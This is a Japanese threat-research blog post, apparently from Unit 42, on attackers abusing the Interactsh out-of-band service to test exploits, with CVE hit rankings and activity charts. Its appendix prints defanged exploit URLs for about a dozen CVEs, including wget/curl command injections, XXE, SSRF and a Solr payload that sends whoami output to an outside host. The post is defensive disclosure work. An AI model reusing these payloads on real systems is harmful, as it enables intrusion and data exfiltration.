This post is also available in: English (英語)

概要

ここのところUnit 42ではInteractshと呼ばれるオープンソースサービスに関連したエクスプロイトの増加を観測しています。同ツールで特定のドメイン名を生成すると、ツール利用者がエクスプロイトの成否をテストできるようになります。リサーチャーも攻撃者も、ドメインのトレースパスをリアルタイムに監視して脆弱性を検証する用途でこのツールを使うことができます。エクスプロイト用の概念実証(PoC)を作っているリサーチャーは、Interactsh経由でPoCの動作確認を行えますし、エクスプロイトがうまくいくかどうかを確認したい攻撃者にとっても、このサービスの利用は役に立ちます。

本稿ではまずInteractshツールについて紹介し、リサーチャーや攻撃者がどのようにこのツールを活用して脆弱性検証を行っているのかを紹介します。次に、このツールを利用する数多くのエクスプロイトについて解説し、私たちが観測したエクスプロイトを利用頻度の順にランキングします。さらに、Interactshのアクティビティ分布を日時と地理の観点から分析します。本稿末尾に悪意のあるペイロードについての情報を掲載しますのでこちらも合わせて参考にしてください。

パロアルトネットワークスのNext-Generation Firewallをお使いのお客様はInteractshを利用する良性コンテンツのアペンド攻撃から保護されています。

Interactshツールとは

Unit 42のリサーチャーは、インターネット上で広がっている悪意のあるアクティビティを積極的に監視しています[参考1][参考2]。2021年4月中旬ごろから、ドメイン名は同じであるものの、悪意のあるペイロードに異なるサブドメインが利用されたエクスプロイトの試行があることに私たちは気づきました。これを調査したところ、この送信元が、DNSクエリやHTTPの試行用に特定テスト用URLを生成できるツールであることがわかりました。このツールは2021年4月16日に公開されたものですが、その2日後の2021年4月18日には最初の悪用試行が確認されています。

InteractshのGitHubページには、「an Open-Source Solution for Out of band Data Extraction, A tool designed to detect bugs that causes external interactions, For example - Blind SQLi, Blind CMDi, SSRF, etc. 」と説明されている。
図1 Interactshのオープンソースツール用GitHubページ

図1はこのツールのGitHubページで、「Interactsh is an Open-Source Solution for Out of band Data Extraction, A tool designed to detect bugs that cause external interactions. (Interactshは帯域外データ抽出に使えるオープンソースソリューションで、外部とのインタラクションを引き起こすバグの検出に利用することを想定しています)」という説明があります。私たちが以下で行った検証試験では、「interact project discovery」でWeb検索すると簡単に見つかるWeb UIで操作を行いました。ユーザーがページにアクセスすると、このWeb UIはランダムにInteractshリンクを生成します。

C4mqgxkyedf0000ar3d0gnkmaqayyyyb[.]interact[.]sh

ブラウザでInteractshのURLとのやり取りを行い、InteractshのUIでクエリのストレースを確認
図2 Web UI経由のInteractsh使用例

このURLをブラウザで操作し、図2に示すように、InteractshのUIでクエリのストレースを確認します。UIには、URLのDNSクエリレコードとHTTPリクエストが表示されていて、C4mqgxkyedf0000ar3d0gnkmaqayyyyyb[.]interact[.]shへのアクセスが成功したことが示されています。またinteractsh-clientがインストールされていれば、そのURLをコマンドラインで利用することもできます。

ペイロードのインタラクション

攻撃者やリサーチャーはこのツールを使ってエクスプロイトの成否をテストできます。図3はその例を示したものです。

このツールでエクスプロイトの成否をテスト可能。このスクリーンショットはその一例。
図3 Interactshの使用例

私たちは、Interactshツールを使用したエクスプロイト試行を検知しました。このケースでは、汎用IoTデバイスのリモートコマンド実行脆弱性が利用されていました。攻撃者は、HTTP POSTリクエストを送信し、POSTのボディのkeyパラメータでコマンドを渡します。このケースでは、wgetコマンドを使用し、Interactshツールで作成されたコマンド&コントロール(C2)サーバーにアクセスしていました。C2サーバーがリクエストを受信するかどうかを監視すればエクスプロイトの成否を判断できます。

Interactshを利用したエクスプロイト

このツールは今年4月18日時点ですでにISPや企業ネットワーク経由での活発な利用が見られました。特定のCVEと関連するネットワーク経由の単純なコマンドインジェクションが数多く見受けられます。あるIPアドレスグループから送信された、同じURLが続く大量の攻撃試行が観測されましたが、これは研究プロジェクトではなくスキャンイベントのようです。

CVE番号 深刻度 カテゴリ ヒット数
CVE-2017-9506 サーバーサイドリクエストフォージェリ(SSRF) 1,132
CVE-2017-12629 緊急 リモートコード実行 663
CVE-2019-2767 認証バイパス (データ挿入) 192
CVE-2021-33544 リモートコード実行 163
CVE-2021-32819 リモートコード実行 51
CVE-2012-1301 緊急 サーバーサイドリクエストフォージェリ(SSRF) 13
CVE-2018-1000600 サーバーサイドリクエストフォージェリ(SSRF) 11
CVE-2021-27905 緊急 サーバーサイドリクエストフォージェリ(SSRF) 9
CVE-2020-28188 緊急 リモートコード実行 7
CVE-2018-15517 サーバーサイドリクエストフォージェリ(SSRF) 6
CVE-2009-4223 N/A PHPのリモートファイルインクルージョン  5
CVE-2019-18394 緊急 サーバーサイドリクエストフォージェリ(SSRF) 5
CVE-2021-27886 緊急 リモートコード実行 3
CVE-2020-13379 サーバーサイドリクエストフォージェリ(SSRF) 2

表1 CVE別に見たInteractshエクスプロイトのヒット数ランキング

PAN-DBを使い、URL フィルタリングデータを3月7日から9月7日まで収集したところ、Interactshのヒット数は約3万2,200回でした。脆弱性/エクスプロイト試行にフォーカスして、観測されたトラフィックで最も悪用の目立ったCVEのランキングを表1に示します。この結果からは、トラフィックの背後にいるアクターたちが、Interactsh APIツールを使用して、エクスプロイト試行の成否をテストしていることがわかります。各Interactshの一意なURLは、それぞれがC2であると考えられます。同じCVEに対するエクスプロイトの多くはランダムに生成された複数のInteractshドメインを使用しており、異なるホストサイドでのスキャンを行っています。

CVE番号 深刻度 カテゴリ
CVE-2021-31755 緊急 リモートコード実行
CVE-2020-28871 緊急 リモートコード実行
CVE-2020-25223 緊急 リモートコード実行
CVE-2020-8813 リモートコード実行
CVE-2020-7247 緊急 リモートコード実行
CVE-2020-28188 CVE-2020-15568 CVE-2018-13354 CVE-2018-13338 緊急 リモートコード実行
CVE-2019-2616 認証バイパス (データ挿入)
CVE-2018-16167 リモートコード実行
CVE-2018-14839 緊急 リモートコード実行
CVE-2016-1555 緊急 リモートコード実行

表2 Interactshに利用されているその他のCVE

弊社のsoakサイト(内部ネットワーク監視ツール)では、表2に示したInteractshアクティビティも捕捉されており、この活発なエクスプロイト試行についての啓発を促すものでした。

Interactshのアクティビティ分布

このほかCortex XpanseのデータからはInteractshを使ったDNSクエリもいくつか見つかりました。疑わしいIPアドレスは3つありました。

82[.]112[.]184[.]197はVirusTotalで「potential malware(マルウェアの可能性あり)」としてフラグが立てられており、138[.]68[.]184[.]23はフィッシングサイトであることが示されています。また82[.]112[.]184[.]206は「malicious(悪意のあるもの)」のフラグが立てられていることがわかりました。この3つのIPアドレスはいずれもInteractshのアクティビティが高くなっています。

私たちは、同ツールの公開時点から観測してきたInteractshツールを利用するエクスプロイトをすべて分析しました。このツールがオンラインで利用可能になったのは4月からですが、6月に入って利用が増えていることがわかりました。

4月に公開された時点から、Interactshツールを利用したエクスプロイトが観測されてきた
図4 Interactshツールを使用するエクスプロイトアクティビティ分布

図5はInteractshのアクティビティ分布をより細かく特定の日付ごとに示したものです。グラフに示したイベントはエクスプロイトないしスキャンのアクティビティを表しています。図5に示したアクティビティは図4と一致して6月にトラフィックが増加していることがわかります。

Interactshツールが公開された4月以降に観測された同ツールを使うエクスプロイトを特定の日付ごとにグラフ化したもの
図5 Interactshのアクティビティ分布

図6は、Interactshリンクを使ったDNSクエリの地理的分布を示したものです。トップからイギリス、エクアドル、アメリカの順になっていました。

観測されたInteractshのアクティビティを地理的な分布でプロットしたもの
図6 Interactshのアクティビティの地理的分布

結論

Interactshは正当な目的にも利用できますが、攻撃者による悪意のあるトラフィックのテスト目的での利用も広がっています。そのため、テスト用トラフィックの後にはエクスプロイトが続く可能性があります。ここ数年はエクスプロイトのテストにサードパーティのオープンソースツールを使用する傾向が強まっています。オープンソースツールは攻撃者にとっては便利なものですが、防御側にとっては、サービスやIP、サーバーなどにもとづくトラフィック遮断は容易ではありません。このような形で発生する悪意のあるエクスプロイトから組織を保護するには、どんなツールが利用されているのかについても注意を向けておく必要があります。

脅威防御Advanced URL FilteringDNSセキュリティWildFireのセキュリティサブスクリプションをご利用のパロアルトネットワークスNext-Generation Firewallのお客様は、Interactshを利用した良性コンテンツのアペンド攻撃から保護されています。DNSセキュリティは、interact[.]shを悪意のあるサイトとしてマーク済みです。

また私たちは以下の対策を推奨します。

  • Best Practice Assessment(ベストプラクティス評価)を実行し、よりよいセキュリティ態勢のために変更すべき設定がないかどうか確認します。
  • お使いの次世代ファイアウォールをパロアルトネットワークスの脅威防御の最新コンテンツ(例: バージョン8467以上)で継続的に更新します。

ユースケース: Interactshを利用するエクスプロイトの例

hxxp[:]//ip-addr/uapi-cgi/certmngr[.]cgi?action=createselfcert&local=anything&country=aa&state=$(wget hxxp[:]//c44s021vkr17popa98agcrrhyneyyyd7c[.]interact.sh)&organization=anything&organizationunit=anything&commonname=anything&days=1&type=anything
(CVE-2021-33544)

hxxp[:]//ip-addr/securityrealm/user/admin/descriptorbyname/org.jenkinsci.plugins.github.config[.]githubtokencredentialscreator/createtokenbypassword?apiurl=hxxp[:]//c4b14uqjfg5t9muoh3pgcrca3hoyfrbcr[.]interact.sh
(CVE-2018-1000600)

hxxp[:]//ip-addr/xmlpserver/convert?xml=<!doctype+r+[<!element+r+any+><!entity+%+sp+system+"hxxp[:]//c38r5fq23aksk1ma690gcdmc6doyyahck[.]interact.sh/xxe.xml">%sp;%param1;]>&_xf=excel&_xl=123&template=123
(CVE-2019-2767)

hxxp[:]//ip-addr/solr/select?qt=/config#&&shards=127.0.0.1:8984/solq&stream.body={"add-listener":{"event":"postcommit","name":"nuclei","class":"solr.runexecutablelistener","exe":"sh","dir":"/bin/","args":["-c","$@|sh",".","echo","nslookup","$(whoami).c38at9vk6tb1j2mah7i0cdeca5yyybucs[.]interact.sh"]}}&wt=json&isshard=true&q=apple

hxxp[:]//ip-addr/search?q={!xmlparser v="<!doctype a system hxxp[:]//c3167tzyedf0000sfc2ggbo7zoeyyyyyp[.]interact.sh/solr/gettingstarted/upload?stream.body={"xx":"yy"}&commit=true""><a></a>"}
(CVE-2017-12629)

hxxp[:]//ip-addr/solr/db/replication?command=fetchindex&masterurl=hxxp[:]//c3167tzyedf0000sfc2ggboug8cyyyyyb[.]interact.sh:80/xxxx&wt=json&httpbasicauthuser=aaa&httpbasicauthpassword=bbb
(CVE-2021-27905)

hxxp[:]//ip-addr/?defaultFilter=e')); let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('curl c32s61pbq16mga0vler0cdnhgbayyyyyn[.]interact.sh');
(CVE-2021-32819)

hxxp[:]//ip-addr/plugins/servlet/oauth/users/icon-uri?consumeruri=hxxp[:]//c33mg9s2ndhfbpsj7legcddsomayyyypg[.]interact.sh
(CVE-2017-9506)

hxxp[:]//ip-addr/index.php/system/mailconnect/host/c4b14uqjfg5t9muoh3pgcrqz7oyykqcuq[.]interact.sh/port/80/secure
(CVE-2018-15517)

hxxp[:]//ip-addr/api/container/command?container=&command=;curl hxxp[:]//c44h3el4f1mfla5idm10crrtxqyyyjpp4[.]interact.sh
(CVE-2021-27886)

hxxp[:]//ip-addr/avatar/test?d=redirect.rhynorater.com?;/bp.blogspot.com/c3jrcoqkfbhrf4rcsmr0cdu5taayynuze[.]interact.sh
(CVE-2020-13379)

hxxp[:]//ip-addr/adm/krgourl.php?document_root=hxxp[:]//c45luqovk0lir2vett1gcrf4iyayy468g[.]interact.sh
(CVE-2009-4223)

hxxp[:]//ip-addr/umbraco/feedproxy.aspx?url=hxxp[:]//c3qsfdg4hl24te8g7rc0cd9erqyygmui6[.]interact.sh
(CVE-2012-1301)

hxxp[:]//ip-addr/getfavicon?host=hxxp[:]//c3uhg4emp8vt8fqq370gcd6th6ayyy4b6[.]interact.sh
(CVE-2019-18394)

 (CVE-2020-7247)

(CVE-2020-7247)

 (CVE-2018-16167)

(CVE-2018-16167)

(CVE-2021-31755)

(CVE-2021-31755)

 (CVE-2016-1555)

(CVE-2016-1555)

 (CVE-2019-2616)

(CVE-2019-2616)

 (CVE-2018-14839)

(CVE-2018-14839)

(CVE-2020-8813)

(CVE-2020-8813)

(CVE-2020-28188 CVE-2018-13354 CVE-2018-13338 CVE-2020-15568)

(CVE-2020-28188 CVE-2018-13354 CVE-2018-13338 CVE-2020-15568)

 (CVE-2020-28871)

(CVE-2020-28871)

 (CVE-2020-25223)

(CVE-2020-25223)

hxxp[:]//ip-addr/rest/sharelinks/1.0/link?url=hxxps[:]//c37e7sraa1psb1c2nso0cd8o9eyyyn94w[.]interact.sh

hxxp[:]//ip-addr/search.php?search=";wget+hxxp[:]//c4b14uqjfg5t9muoh3pgcrcwtheyrjn8k[.]interact.sh';"

hxxp[:]//ip-addr/index.php?plot=;wget hxxp[:]//c4bfibtmh0e03d1t5u90crcb9fayzf9dr[.]interact.sh

Enlarged Image